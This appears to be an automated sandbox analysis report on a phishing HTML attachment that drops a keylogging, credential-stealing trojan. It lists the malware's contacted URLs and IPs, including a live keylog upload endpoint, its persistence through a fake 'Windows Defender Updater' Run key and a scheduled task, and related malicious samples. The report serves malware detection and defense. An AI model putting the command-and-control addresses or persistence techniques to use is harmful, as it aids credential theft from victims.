asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004176000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BBD4EA3DA	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004675000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000046A8000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041D3000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004205000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/instal	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000341B000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mavelecgr.com/webpanel//keylogs.php?hwid=CH35A22CC8A70	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000391A000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.jiyu-kobo.co.jp/sl-s	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264010835.000000000640B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/jp/n	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comldva?	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.267947588.0000000006414000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004572000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000458F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000454A000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004619000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004131000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004159000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004176000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/jp/	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.comx	Zip.exe, 00000016.00000002.465900541.00000185C007F000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C00CE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://james.newtonking.com/projects/json	Newtonsoft.Json.dll.20.dr	false	URL Reputation: safe	unknown
https://support.google.com/chrome?p=upda_i	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000341B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/installer/?product=	asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	false		high
https://ac.ecosia.org/autocomplete?q=	asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfp	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000458F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000454A000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004619000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004131000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004176000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.263036002.0000000006402000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.262795337.0000000006405000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.262795337.0000000006412000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mavelecgr.com4	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000341B000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000003022000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn-i	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.262795337.0000000006405000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers8	PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
216.58.209.45	accounts.google.com	United States	15169	GOOGLEUS	false
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
162.159.130.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.180.174	clients.l.google.com	United States	15169	GOOGLEUS	false
142.250.180.132	www.google.com	United States	15169	GOOGLEUS	false
89.45.67.2	mavelecgr.com	Netherlands	44901	BELCLOUDBG	true

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	812375
Start date and time:	2023-02-21 07:05:07 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	REVISED PURCHASE ORDER.HTML
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winHTML@64/84@26/9
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 99% Number of executed functions: 113 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .HTML

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, audiodg.exe, consent.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.0.174.128, 23.0.174.137, 23.0.174.130, 23.0.174.138, 23.0.174.129, 23.0.174.131, 23.0.174.139, 23.0.174.82, 23.0.174.123, 209.197.3.8, 8.248.135.254, 67.26.139.254, 8.248.133.254, 8.248.145.254, 67.26.73.254, 142.250.180.131, 34.104.35.123, 142.250.180.163, 216.58.215.227
Excluded domains from analysis (whitelisted): www.bing.com, fg.download.windowsupdate.com.c.footprint.net, fs.microsoft.com, e86303.dscx.akamaiedge.net, www.bing.com.edgekey.net, edgedl.me.gvt1.com, update.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, cds.d2s7q6s2.hwcdn.net, www-www.bing.com.trafficmanager.net, wu-bg-shim.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:06:23	API Interceptor	659x Sleep call for process: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE modified
07:06:30	Task Scheduler	Run new task: asGTRKuvQ path: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe
07:06:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Windows Defender Updater C:\Users\user\AppData\Local\Temp\update_232107.exe / start
07:06:56	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Windows Defender Updater C:\Users\user\AppData\Local\Temp\update_232107.exe / start
07:07:01	API Interceptor	123x Sleep call for process: Zip.exe modified
07:07:19	API Interceptor	111x Sleep call for process: asGTRKuvQ.exe modified
07:07:30	API Interceptor	127x Sleep call for process: update_232107.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	m80FLDQDJP.exe	Get hash	malicious	Eternity Stealer	Browse	ip-api.com/json
	asas.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	dL3GbIdF4Y.exe	Get hash	malicious	Quasar, Chaos, Conti, TrojanRansom	Browse	ip-api.com/json/
	p4pEBxCplv.exe	Get hash	malicious	DCRat, RedLine, SmokeLoader	Browse	ip-api.com/line/?fields=hosting
	#U260e#Ufe0f VM_0216202399.htm	Get hash	malicious	HTMLPhisher	Browse	ip-api.com/json
	Untitled attachment 00003.html	Get hash	malicious	HTMLPhisher	Browse	ip-api.com/json
	#Ud83d#Udcde#U260e#Ufe0f Audio_55f0c7af-ce5d-4185-ac6a-6fbf9c280547.HTML	Get hash	malicious	HTMLPhisher	Browse	ip-api.com/json
	Fg1XUTf8Ts.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	4b632ccdd041def4ecbaf20f41033ebcd8317ad696ccc.exe	Get hash	malicious	Orcus, StormKitty	Browse	ip-api.com/line/?fields=hosting
	R72UkgmSR3.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	7B1D2713Kn.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	Pago.xls	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	ORDER INQUIRY_pdf.exe	Get hash	malicious	Clipboard Hijacker	Browse	ip-api.com/line/?fields=hosting
	VRTV4637AA.elf	Get hash	malicious	Unknown	Browse	ip-api.com/json/?fields=status,timezone
	0CBF2FE8AF22400E10D8715DEA4C550D6AFB75E3096B4.exe	Get hash	malicious	Arkei Stealer, Oski Stealer	Browse	ip-api.com/line/?fields=countryCode
	DHL Notification_pdf.exe	Get hash	malicious	Clipboard Hijacker	Browse	ip-api.com/line/?fields=hosting
	HEUR-Trojan.Win32.Generic-66fdb47c24f569d7fae.exe	Get hash	malicious	BitRAT, Hive RAT, Quasar	Browse	ip-api.com/json/
	6glRBXzk6i.exe	Get hash	malicious	RedLine	Browse	ip-api.com/json/?fields=query,status,countryCode,city,timezone
	GooglePlay23Update.apk	Get hash	malicious	Unknown	Browse	www.ip-api.com/json
	GooglePlay23Update.apk	Get hash	malicious	Unknown	Browse	www.ip-api.com/json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdn.discordapp.com	Setup.exe	Get hash	malicious	Vidar	Browse	162.159.130.233
	1ntrovert Cheat 3.0.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	1ntrovert Cheat 3.0.exe	Get hash	malicious	Unknown	Browse	162.159.130.233
	Setup_x64b.exe	Get hash	malicious	Vidar	Browse	162.159.134.233
	RFQ No. 45254245.exe	Get hash	malicious	AgentTesla	Browse	162.159.133.233
	78JAYMQyXo.exe	Get hash	malicious	Amadey, Fabookie, Nymaim, PrivateLoader, RedLine	Browse	162.159.133.233
	HEUR-Trojan.Win32.Bsymem.gen-493aea7196b43b77.exe	Get hash	malicious	Amadey, Nymaim, PrivateLoader, RedLine, SmokeLoader	Browse	162.159.130.233
	qKZxwXkAjB.exe	Get hash	malicious	PrivateLoader	Browse	162.159.130.233
	file.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	Quotation.exe	Get hash	malicious	AgentTesla	Browse	162.159.129.233
	273F433BA1CEBFAD830E52490A04CA744351FC4624928.exe	Get hash	malicious	PrivateLoader, RedLine, Socelars	Browse	162.159.129.233
	file.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	vZ2gL3wrKG.exe	Get hash	malicious	Amadey, RedLine, Xmrig	Browse	162.159.133.233
	SULWazu3KL.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	XWorm-RAT-V2.1-builder.exe	Get hash	malicious	Clipboard Hijacker, Discord Token Stealer, Qvoid Stealer, RedLine, ToxicEye	Browse	162.159.133.233
	install.exe	Get hash	malicious	Unknown	Browse	162.159.130.233
	Roqwnrsun.exe	Get hash	malicious	AgentTesla, Snake Keylogger	Browse	162.159.130.233
	XQCOqfWkm8.exe	Get hash	malicious	Glupteba	Browse	162.159.134.233
	Unv67CLhJv.exe	Get hash	malicious	Glupteba	Browse	162.159.129.233
	Application_debloated.exe	Get hash	malicious	Vidar	Browse	162.159.135.233

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Payment Advice Note 20.02.2023 Vendor 107672.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Setup.exe	Get hash	malicious	Vidar	Browse	162.159.130.233
	http://l.iamfy.co/a/key_live_ilkTgPjtxA5iHJGu1x8rUmpmrqhatVJ9?%24deeplink_path=%2Fproduct%2Fcloud-kids-chair---pink&%24fallback_url=http://zpgchw.hmmachineoutil.com/vmera@hammond.com.au	Get hash	malicious	Unknown	Browse	104.16.123.96
	http://l.iamfy.co/a/key_live_ilkTgPjtxA5iHJGu1x8rUmpmrqhatVJ9?%24deeplink_path=%2Fproduct%2Fcloud-kids-chair---pink&%24fallback_url=http://zpgchw.hmmachineoutil.com/vmera@hammond.com.au	Get hash	malicious	Unknown	Browse	188.114.97.3
	IXWare Builder.exe	Get hash	malicious	Xmrig	Browse	188.114.96.3
	https://api-functions.prod.a.symless.com/download-log?synergyVersion=3.0.66.22-beta&operatingSystem=Windows&architecture=64-bit&downloadUrl=https%3A%2F%2Frc.symless.com%2Fsynergy3%2Fv3.0.66.22-beta%2Fsynergy-win_x64-v3.0.66.22-beta.msi&userId=886628	Get hash	malicious	Unknown	Browse	104.26.8.150
	http://l.iamfy.co/a/key_live_ilkTgPjtxA5iHJGu1x8rUmpmrqhatVJ9?%24deeplink_path=%2Fproduct%2Fcloud-kids-chair---pink&%24fallback_url=http://r8hnni.asanyapimarket.com/yourmom@ara.com	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	ATT00001.htm	Get hash	malicious	HTMLPhisher	Browse	104.18.6.145
	http://artkulinaria.pl/sites/default/files/file/83356361639.pdf	Get hash	malicious	PDFPhish	Browse	104.21.45.54
	http://thedailyquiz.com	Get hash	malicious	Unknown	Browse	172.67.69.60
	9uIbDIig3Z.exe	Get hash	malicious	Djvu, Fabookie, RedLine, SmokeLoader	Browse	188.114.96.3
	https://sender10.zohoinsights.com/ck1/2d6f.327230a/f8157f50-b064-11ed-b3a4-5254000e3179/799f5393895683cb190a4099fe150a91fa2cbbe3/2?e=Nq%2BwOT1dOIxevgXl6VoB9JyjaWno6ygup8WvxgnVIlFJaCPVohGSwF7bbDjITA49	Get hash	malicious	Unknown	Browse	104.17.30.92
	https://cream-brawny-ceres.glitch.me/drivecdn.html	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	PrivateLoader	Browse	188.114.96.3
	file.exe	Get hash	malicious	PrivateLoader	Browse	188.114.96.3
	Aud_Msg 02-19-2023.Htm	Get hash	malicious	Captcha Phish, Phisher	Browse	104.16.57.101
	https://nominatedz.sa.com/whm/kigbe/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://cursosgratuitoscertificado.com/goto/https://nyc3.digitaloceanspaces.com/yp637-37693-9827838-37629/TY6738-73628-83-TE7389.htm#Y3Jpc3RpbmEucmVpY2htYW5uQGNtcy1jbW5vLmNvbQ==	Get hash	malicious	Unknown	Browse	172.67.68.231
	https://listy.email/?gclid=EAIaIQobChMI2K-Jw7Ck_QIVSNpkCh0BLw6MEAEYASAAEgLPy_D_BwE	Get hash	malicious	Unknown	Browse	188.114.96.3
	Reservas Details.docx.doc	Get hash	malicious	Unknown	Browse	104.16.54.48
TUT-ASUS	m80FLDQDJP.exe	Get hash	malicious	Eternity Stealer	Browse	208.95.112.1
	asas.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	dL3GbIdF4Y.exe	Get hash	malicious	Quasar, Chaos, Conti, TrojanRansom	Browse	208.95.112.1
	ItBF1xB53S.exe	Get hash	malicious	Fabookie, ManusCrypt	Browse	208.95.112.1
	p4pEBxCplv.exe	Get hash	malicious	DCRat, RedLine, SmokeLoader	Browse	208.95.112.1
	#U260e#Ufe0f VM_0216202399.htm	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	Untitled attachment 00003.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	#Ud83d#Udcde#U260e#Ufe0f Audio_55f0c7af-ce5d-4185-ac6a-6fbf9c280547.HTML	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	file.exe	Get hash	malicious	ManusCrypt	Browse	208.95.112.1
	file.exe	Get hash	malicious	ManusCrypt	Browse	208.95.112.1
	Fg1XUTf8Ts.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	TradingView2.exe	Get hash	malicious	MicroClip	Browse	208.95.112.1
	4b632ccdd041def4ecbaf20f41033ebcd8317ad696ccc.exe	Get hash	malicious	Orcus, StormKitty	Browse	208.95.112.1
	R72UkgmSR3.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	7B1D2713Kn.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	Pago.xls	Get hash	malicious	Quasar	Browse	208.95.112.1
	ORDER INQUIRY_pdf.exe	Get hash	malicious	Clipboard Hijacker	Browse	208.95.112.1
	VRTV4637AA.elf	Get hash	malicious	Unknown	Browse	208.95.112.1
	0CBF2FE8AF22400E10D8715DEA4C550D6AFB75E3096B4.exe	Get hash	malicious	Arkei Stealer, Oski Stealer	Browse	208.95.112.1
	yvfJySUJuD.exe	Get hash	malicious	Fabookie, ManusCrypt	Browse	208.95.112.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\Newtonsoft.Json.dll	DHL #109#.exe	Get hash	malicious	Predator	Browse
	5VXh2VBmA0.exe	Get hash	malicious	Predator	Browse
	nwY3YpWQVx.exe	Get hash	malicious	Predator	Browse
	5SUx8Md4kq.exe	Get hash	malicious	Predator	Browse
	file.exe	Get hash	malicious	Predator	Browse
	file.exe	Get hash	malicious	Predator	Browse
	file.exe	Get hash	malicious	Predator	Browse
	NicDx0BvqP.exe	Get hash	malicious	Predator	Browse
	ngyoL1siem.exe	Get hash	malicious	Predator	Browse
	SecuriteInfo.com.Exploit.ShellCode.69.5295.22971.rtf	Get hash	malicious	Predator	Browse
	AvtoKomander_Installer.msi	Get hash	malicious	Unknown	Browse
	VFMPwzPWjM.exe	Get hash	malicious	Predator	Browse
	CpLGtq4jBl.exe	Get hash	malicious	Predator	Browse
	CpLGtq4jBl.exe	Get hash	malicious	Predator	Browse
	5Qg0FFYoQd.exe	Get hash	malicious	Predator	Browse
	IBK_Minervasoft.exe	Get hash	malicious	Unknown	Browse
	PO BNB Trends.exe	Get hash	malicious	Predator	Browse
	Bm6U0Vj6pa.exe	Get hash	malicious	Predator	Browse
	NEW REQUIREMENT..xlsx	Get hash	malicious	Predator	Browse
	kKEMJQNDL.exe	Get hash	malicious	Predator	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Zip.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\Zip.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2343
Entropy (8bit):	5.374204171243879
Encrypted:	false
SSDEEP:	48:MxHKEYHKGD8Ao6+vxpNl1qHGiD0HKeGitHTG1hAHKKPJAmHKoAPHZHpH+5HK+HKs:iqEYqGgAo9ZPlwmI0qertzG1eqKPJ/qo
MD5:	3F114A073575263E59307B55548FD5F4
SHA1:	971459D541646C4C6B382F06AAFA9F4147716568
SHA-256:	2417EC96E49CF7352D91892438478E961D8DC870FEB8E8821C732383CD9351F2
SHA-512:	EA7B613DF726F230ADFEF841E4C8A753228B3AFAE7F2D2FDC2704892910F18254F2D9B31AA5E7D4C993137BCAE92B0FF77D9D31503E96D605DBF0589E42AD809
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\f2e0589ed6d670f264a5f65dd0ad000f\Microsoft.VisualBasic.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_6

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1308
Entropy (8bit):	5.345811588615766
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4x84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4FsXE8:MIHK5HKXE1qHxviYHKhQnoPtHoxHhAHJ
MD5:	EA78C102145ED608EF0E407B978AF339
SHA1:	66C9179ED9675B9271A97AB1FC878077E09AB731
SHA-256:	8BF01E0C445BD07C0B4EDC7199B7E17DAF1CA55CA52D4A6EAC4EF211C2B1A73E
SHA-512:	8C04139A1FC3C3BDACB680EC443615A43EB18E73B5A0CFCA644CB4A5E71746B275B3E238DD1A5A205405313E457BB75F9BBB93277C67AFA5D78DCFA30E5DA02B
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\asGTRKuvQ.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\asGTRKuvQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1308
Entropy (8bit):	5.345811588615766
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4x84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4FsXE8:MIHK5HKXE1qHxviYHKhQnoPtHoxHhAHJ
MD5:	EA78C102145ED608EF0E407B978AF339
SHA1:	66C9179ED9675B9271A97AB1FC878077E09AB731
SHA-256:	8BF01E0C445BD07C0B4EDC7199B7E17DAF1CA55CA52D4A6EAC4EF211C2B1A73E
SHA-512:	8C04139A1FC3C3BDACB680EC443615A43EB18E73B5A0CFCA644CB4A5E71746B275B3E238DD1A5A205405313E457BB75F9BBB93277C67AFA5D78DCFA30E5DA02B
Malicious:	false
